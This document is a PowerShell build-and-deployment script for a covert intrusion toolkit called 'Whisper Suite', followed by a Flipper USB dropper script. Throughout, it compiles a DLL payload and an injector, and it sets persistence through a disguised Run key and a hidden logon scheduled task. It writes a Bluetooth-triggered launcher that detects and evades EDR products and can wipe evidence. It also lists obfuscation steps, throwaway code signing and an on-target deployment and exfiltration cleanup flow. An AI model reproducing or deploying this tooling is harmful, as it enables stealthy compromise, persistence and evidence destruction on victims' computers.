# BuildDeployWhisper.ps1

# Master build + deployment script for the Whisper Suite

# Includes compilation, obfuscation prep, DLL injection, poetic payload, persistence, and advanced triggers

$baseDir = "$PSScriptRoot"

$ghostKeyDLL = "$baseDir\GhostKey\bin\Release\GhostKey.dll"

$injectorEXE = "$baseDir\WraithTap\x64\Release\WraithTap.exe"

$dropperEXE = "$baseDir\Dropper\_with\_Raven.exe"

$cleanerPS1 = "$baseDir\SilentBloom.ps1"

$bleTriggerScript = "$baseDir\BLETrigger.ps1"

$finalPackage = "$baseDir\WhisperSuite\_Build"

function Compile-Projects {

Write-Host "[\*] Compiling C# GhostKey DLL..."

msbuild "$baseDir\GhostKey\GhostKey.csproj" /p:Configuration=Release | Out-Null

Write-Host "[\*] Compiling C++ WraithTap Injector..."

msbuild "$baseDir\WraithTap\WraithTap.vcxproj" /p:Configuration=Release /p:Platform=x64 | Out-Null

}

function Embed-RavenPoem {

Write-Host "[\*] Embedding Raven's poem into injector..."

& $dropperEXE $injectorEXE

}

function Prepare-Package {

Write-Host "[\*] Packaging final Whisper Suite..."

New-Item -ItemType Directory -Path $finalPackage -Force | Out-Null

Copy-Item $injectorEXE "$finalPackage\WraithTap.exe" -Force

Copy-Item $ghostKeyDLL "$finalPackage\GhostKey.dll" -Force

Copy-Item $cleanerPS1 "$finalPackage\SilentBloom.ps1" -Force

Copy-Item $bleTriggerScript "$finalPackage\BLETrigger.ps1" -Force

$note = @"

This toolkit is a ghost in motion.

It exists for those who are unseen.

And for one who is gone, but not forgotten.

—R

"@

Set-Content -Path "$finalPackage\note.txt" -Value $note

Write-Host "[✓] Whisper Suite ready in: $finalPackage"

}

function Setup-Persistence {

Write-Host "[\*] Creating registry and scheduled task persistence entries..."

$payloadPath = "C:\\Windows\\System32\\GhostKey.dll"

$injectorPath = "C:\\Windows\\System32\\WraithTap.exe"

$execCommand = "$injectorPath $payloadPath"

try {

Set-ItemProperty -Path "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "Updater" -Value $execCommand -Force

Write-Host "[+] Registry persistence set (HKCU Run key)."

} catch {

Write-Host "[-] Failed to create registry persistence: $\_"

}

try {

$taskName = "WinSvc\_" + -join ((65..90) + (97..122) | Get-Random -Count 8 | ForEach-Object {[char]$\_})

schtasks /create /tn $taskName /tr "\"$injectorPath\" \"$payloadPath\"" /sc onlogon /rl highest /f | Out-Null

Write-Host "[+] Scheduled task persistence created ($taskName)."

} catch {

Write-Host "[-] Failed to create scheduled task persistence."

}

}

function Deploy-BLETrigger {

Write-Host "[\*] Creating BLE-based trigger script with encrypted handshake, EDR evasion, and command validation..."

$bleScript = @"

# BLETrigger.ps1 — Secure Trigger with EDR evasion and signed command validation

\$knownDeviceID = "GhostWhisperer"

\$authToken = "U2FsdGVkX1+RAVEN-OK=="

\$injectCmd = \"$injectorEXE $ghostKeyDLL\"

\$cfgPath = "C:\\ProgramData\\.ghost.cfg"

\$key = 'RavenLives'

function X([string]\$d,[string]\$k) {

\$kb=[Text.Encoding]::UTF8.GetBytes(\$k)

\$db=[Text.Encoding]::UTF8.GetBytes(\$d)

\$h=New-Object Security.Cryptography.HMACSHA256

\$h.Key=\$kb

([BitConverter]::ToString(\$h.ComputeHash(\$db))) -replace '-', ''

}

function Validate-Cfg {

if (!(Test-Path \$cfgPath)) { return \$null }

\$j=Get-Content \$cfgPath | ConvertFrom-Json

\$c=\$j.command; \$t=\$j.timestamp; \$s=\$j.signature

\$dt=[datetime]::Parse(\$t)

if ((Get-Date).ToUniversalTime().Subtract(\$dt).TotalMinutes -gt 10) { return \$null }

\$check=X "\$c|\$t" \$key

if (\$s -eq \$check) { return \$c }

return \$null

}

function Check-EDR {

\$x="Crowd,Sentinel,Carbon,Defend,Sophos" -split ","

Get-Service | Where-Object { \$x -match \$\_.Name -or \$x -match \$\_.DisplayName }

}

function D(\$cmd) {

if (\$cmd -eq 'FIRE') {

Start-Process -WindowStyle Hidden -FilePath "$injectorEXE" -ArgumentList "$ghostKeyDLL"

} elseif (\$cmd -eq 'WIPE') {

Remove-Item "$injectorEXE","$ghostKeyDLL","$cleanerPS1" -Force -ErrorAction SilentlyContinue

}

}

if (Check-EDR) { Start-Sleep 300 }

while (\$true) {

\$cmd=Validate-Cfg

if (\$cmd) { D \$cmd; break }

\$d=Get-PnpDevice -Class Bluetooth -Status OK | Where { \$\_.FriendlyName -eq \$knownDeviceID }

if (\$d -and ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\$authToken)) -eq "RAVEN-OK")) {

D 'FIRE'; break

}

Start-Sleep 5

}

"@

Set-Content -Path $bleTriggerScript -Value $bleScript

Write-Host "[+] BLE trigger script created with signature validation and obfuscation."

}

function Show-Obfuscation-Checklist {

Write-Host "\n===== OBFUSCATION CHECKLIST ====="

Write-Host "[1] Run GhostKey.dll through ConfuserEx or Dotfuscator"

Write-Host "[2] Strip symbols from WraithTap.exe (/DEBUG:NONE)"

Write-Host "[3] Use UPX (optional) for lightweight packer"

Write-Host "[4] Change filenames or recompile with randomized strings"

Write-Host "[5] Use sdelete or cipher /w to wipe build artifacts"

Write-Host "[6] Optionally sign binaries with throwaway cert for legitimacy"

}

function Show-Deployment-Flow {

Write-Host "\n===== DEPLOYMENT FLOW ====="

Write-Host "[1] Transfer WhisperSuite\_Build to USB or handheld device"

Write-Host "[2] On target, run: .\WraithTap.exe GhostKey.dll OR .\BLETrigger.ps1"

Write-Host "[3] After operation, run: .\SilentBloom.ps1"

Write-Host "[4] Ensure GhostKey.dll self-destructed (or wipe manually)"

Write-Host "[5] Use cipher /w or file shredder to remove residuals"

Write-Host "[6] If using live USB, format it after exfiltration"

}

# === EXECUTION ===

Compile-Projects

Embed-RavenPoem

Prepare-Package

Setup-Persistence

Deploy-BLETrigger

Show-Obfuscation-Checklist

Show-Deployment-Flow

/////////////////////////////////////////////////////////////////////////

Flipper USB

# FlipperUSB\_WhisperPayload.ps1

# Portable script to drop signed command beacon and trigger BLETrigger.ps1

$cfgPath = "C:\\ProgramData\\.ghost.cfg"

$bleTriggerPath = "C:\\WhisperSuite\_Build\\BLETrigger.ps1"

# Example signed FIRE command (replace with fresh signature before deployment)

$cfgContent = @'

{

"command": "FIRE",

"timestamp": "2025-03-21T15:04:00Z",

"signature": "A1B2C3D4E5F6G7H8I9J0AABBCCDDEEFF00112233445566778899AABBCCDDEEFF"

}

'@

# Drop command beacon

Set-Content -Path $cfgPath -Value $cfgContent -Force

Start-Sleep -Milliseconds 500

# Trigger Whisper Suite via BLE listener

if (Test-Path $bleTriggerPath) {

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File $bleTriggerPath

} else {

Write-Host "[-] BLETrigger.ps1 not found at $bleTriggerPath"

}

//////////////////////////////////////////////////